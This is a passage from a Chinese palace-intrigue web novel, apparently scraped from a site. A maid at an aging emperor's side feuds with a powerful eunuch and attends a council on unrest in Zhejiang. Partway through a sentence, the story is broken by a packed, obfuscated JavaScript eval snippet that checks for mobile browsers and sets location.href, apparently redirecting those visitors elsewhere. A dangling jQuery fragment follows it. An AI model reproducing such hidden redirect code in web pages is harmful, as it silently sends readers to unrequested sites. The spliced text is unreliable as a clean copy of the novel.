赵长宁被问的一怔，一时间没反应过来，结结巴巴道：“皇上，我，我……”
皇帝再次发起的话题，让她突然意识到，背后那只手，到底从何而来。
皇帝难得温和，也没有介意她的迟疑，“你与他已经结仇，你不杀他，他必杀你，他可不是个心宽的，你若不早作准备，是斗不过他的。”
赵长宁满心疑惑，不明白皇帝为什么要这么做，论用处，胡狗儿可是掌印，实打实为皇帝办差的，但皇帝如此问，那她也不隐瞒。
“已经在想了，皇上，胡狗儿到底犯了什么错？我怕斗不过他。”
皇帝缓缓坐下，半张脸没入夕阳下，看着温和慈爱，像极了普通老人，但另半张脸在阴影中，充满了冷漠与算计。
他没有回答赵长宁这个问题，只是淡淡道：“你很聪明，总有一天，你会懂的。”
赵长宁没有追问，她虽不懂政事，但经过今天的听政，心里已经模模糊糊的有了点启发。
况且，皇帝不喜欢蠢货，皇帝希望她斗志昂扬、张牙舞爪的厮杀，这样看着才有意思。
她不解，但她没资格问。
夕阳下坠，余下最后一缕红辉，袅袅余光中，倦鸟归巢，隐于枯枝，直至最后一束斜阳消散，天地间响起了乌鸦的叫声，寒风乍起。
赵长宁本想提醒皇帝该回去。
“人生居天壤间，忽如飞鸟栖枯枝。”【1】皇帝望着面前衰败枯黄的早春景象，忽然重重叹了口气。
他顺着起身，双脚颤抖，喃喃着道：“长宁，我老了，真的老了。”
赵长宁也有些恍惚，这是老皇帝第一次承认自己老，可她现在一点也不觉得解脱，她希望老皇帝能活得久一点。
好不容易到了晚膳时间，皇帝要去后宫和妃嫔用膳，赵长宁才得以脱身一会儿。
她叫来云慧，叮嘱道；“往日里你跟云乔都是一处，今儿云乔不在，你好好在偏殿伺候，皇上不来还好，若皇上回来，就要警惕些，也莫要像云佩那样，惹祸上身。”
云慧连连点头，云乔忽然不见了踪影，没人知道去了哪儿，吓得她再也没有别的心思。
“姑姑，您放心，我一定不走神，若是有事，我会找人去叫您的。”
赵长宁便踏着靛青的天色回了住处。
刚过那排粗壮的柳树，就看到云生缩头缩脑地等在门前，青石板路上，一只瘸腿的猫又在堂而皇之地拉屎，猫脑袋高高昂起，样子颇为高傲。
云生面色很犹豫，但看到那猫拉了一坨又一坨，耀武扬威的样子，实在没忍住。
他鼓起勇气抬头问道：“姑姑，真的不用赶吗？”
赵长宁看着瘸腿猫，瘸腿猫也看着她，一人一猫对视，最后以她失败告终。
“不用赶了。”她疲惫摆手，语调满是无奈，“小顺，帮我捡点纸钱跟香来。”
小顺拍着手上的灰出来，劝道：“姑姑，这都天黑了，等明儿再去吧？”
赵长宁摇了摇头，“现在就去。”
小顺只能捡出一个篮子，递到赵长宁手上，“姑姑，饭马上就得了，您要快些回来。”
云生捡赵长宁沉默的背影，好奇道：“姑姑是要去祭奠谁啊？”
小顺摇头，“不知道，应该是姑姑的恩人吧，姑姑经常去烧纸的。”
赵长宁回来后，看到屋子里四个人在眼巴巴的等她回来吃饭。
她看向云生，“你怎么还在这？”
云生委屈巴巴的，“姑姑，云佩的药……”
赵长宁看向小边，“你没给云佩送药？”
小边鼓了鼓嘴，“荆山那边好远，我托了旁人去……”声音越来越小。
赵长宁将筷子放下，淡淡道：“你今晚不要吃饭了，好好反思，云生，你今晚不用去勤政殿值夜，去荆山送药吧。”
小边委屈瘪嘴，“姑姑。”
“早就说过，我交代的事儿，就得好好做。”赵长宁温声道：“在这个地方偷懒，是嫌活得命长吗？”
她说话的时候，语调平平淡淡，但自有一股威压在身，令人不得不听。
云生高兴极了，连连道谢，“谢谢姑姑。”
他越发觉得，姑姑好像没有表面那么冷淡。
晚食才吃完，就有人来禀报，说皇帝宿在了孙婕妤宫里，不回勤政殿了。
赵长宁就干脆泡起了澡，正好消化这两天发生的事儿。
其实她脑子里还有些乱，好在目标清晰，心下也安定不少。
翌日寅时，随着宫门开启，皇城内忙碌的一天也开始了。
这座庞大巍峨的宫殿群，是由无数蚂蚁般的宫女太监来维持的。
人影憧憧，洒扫、倒夜香、运水米粮等等，每个人都勤勤恳恳，不敢丝毫懈怠。
赵长宁在前往勤政殿的时候，竟然碰到了胡狗儿的干儿子。
“姑姑早。”寒风中，云和缩着脑袋和赵长宁打招呼，被风吹的嘴都打不开。
赵长宁见他连个厚袄子都不穿，玉京二月里的凌晨可不好受，随口问了句，“你干爹怎么连个袄子也不给？”
云和只笑不说话。
赵长宁跟胡狗儿不和已经浮在表面了，也懒得管，径直离开，正好看到勤政殿偏殿前两个小太监在打闹，角落里枯叶黄泥扬的满地都是。
她紧绷着脸，上去就是一人一巴掌。
“活够了就跳进护城河淹死，别在这连累别人。”
“我们错了。”小太监吓得瑟瑟发抖，登时就跪了下去，眼泪滚滚而下，声音稚嫩，“姑姑，我们错了，我们再也不敢了。”
赵长宁看两人年岁还小，天性如此，也不好太过，便指了指墙角，“去那边跪满一个时辰再起来，长长记性。”
处理好外头的事儿，她便进了偏殿，云和也跟了进来。
昨夜皇帝宿在婕妤宫里，会直接从后宫去上朝，若是有小朝会，就会回勤政殿议事，不过，这也得辰时过后了。
赵长宁忙里偷闲，坐在窗边，安安静静看着夜幕低垂，星子微闪，怔怔出神。
碳炉上的铜壶咕嘟咕嘟的响，将这满室静谧打破。
她起身给自己倒了杯茶，看云和在一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810674|175220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
旁端坐，便也顺手给他倒了一杯，随口问道：“你干爹跟皇上去上朝了？”
“干爹出宫了。”云和摇头，和他干爹一样的谄笑，弯腰伸手接过茶碗道谢，“多谢姑姑。”
赵长宁的尾指被他碰个正着，只觉不适，不由眼神微闪，但看他没事人似的重新坐好，假作无意之举，也不好发作。
她有些疑惑，胡狗儿这会儿不跟着去上朝，跑哪去了？
“他出宫干什么？最近皇上因为浙江的事儿吃不好睡不香的，他这会儿还往外跑？”
云和笑起来极猥琐，跟胡狗儿两模两样，“干爹在外头，不是有好几个女人嘛，偶尔出宫也正常，就是皇上也不会说什么的。”
赵长宁努力忽略云和带来的不适，但也不想再说话，云和的动作跟眼神，比胡狗儿还令人烦躁。
她想，或许是她身上带的威压还不够，叫这些没根的东西也敢放肆。
可一个御前伺候的，再得宠，又哪里能跟司礼监掌权的太监比？
如果她能取代胡狗儿，得了权势，是不是就不会有这种事了？
一想到这些，赵长宁的心跳就加速，手心也开始冒出冷汗，这种奇妙的感觉，是最近才有的，叫人沉迷又期待。
时间就这么缓缓过去，一直到晨正，旭日东升，赵长宁吃过小顺送来的早食后，才听到外头皇帝的御驾回来。
后头还跟了好些个人。
赵长宁上前扶皇帝下辇的时候，顺便打量了一圈，除去内阁的四人，还有两位尚书，最后面，是满脸阴森的胡狗儿和他的跟班。
大家的面色都不太好看。
她越发谨慎，也更殷勤，在一群权势滔天的男人面前，不敢出一丝差错。
进了殿内，赵长宁照旧拿薄毯裹住皇帝的腿，又询问诸位大人可需要手炉，都是老家伙，怕冷的很。
皇帝咳了两声，“长宁，吩咐御膳房端些热食来。”
赵长宁点头称是，连忙去偏殿熟练的吩咐，“去叫御膳房做些油饼、米糕、鸡蛋羹和面条这些热汤食来，快去快回。”
这些东西听着寒碜，但做得快。
人无论高低贵贱，其实都是食五谷，再精巧精致的食物，在饥饿面前，都不值一提。
她刚来御前时，皇帝那时候精神尚可，还常常与官员们议事错过御膳，等想起来吃东西，想吃的，也就是老百姓常吃的，并无二致。
赵长宁再转回去的时候，殿内已经开了话头。
首辅高赟在说话，“……现下首要的，是让浙江尽快安定，马上就是春耕，涉及百万百姓的生计，绝不能耽搁。”
户部尚书齐玉微也立刻站起来，“皇上，前几年与鞑靼、女真打的厉害，国库至今未恢复，如今西南也不稳定，东南决不能乱啊。”
皇帝依旧阖眸沉默。
孙之道咬了咬牙，也站起身，“浙江巡抚领兵抗倭平叛，浙江就靠一个明轩在扛，他这时候出事，又有谁能一下子接住这摊子？皇上，您三思啊。”
赵长宁又听到明轩这个名字，眼神不自觉就瞟向了胡狗儿。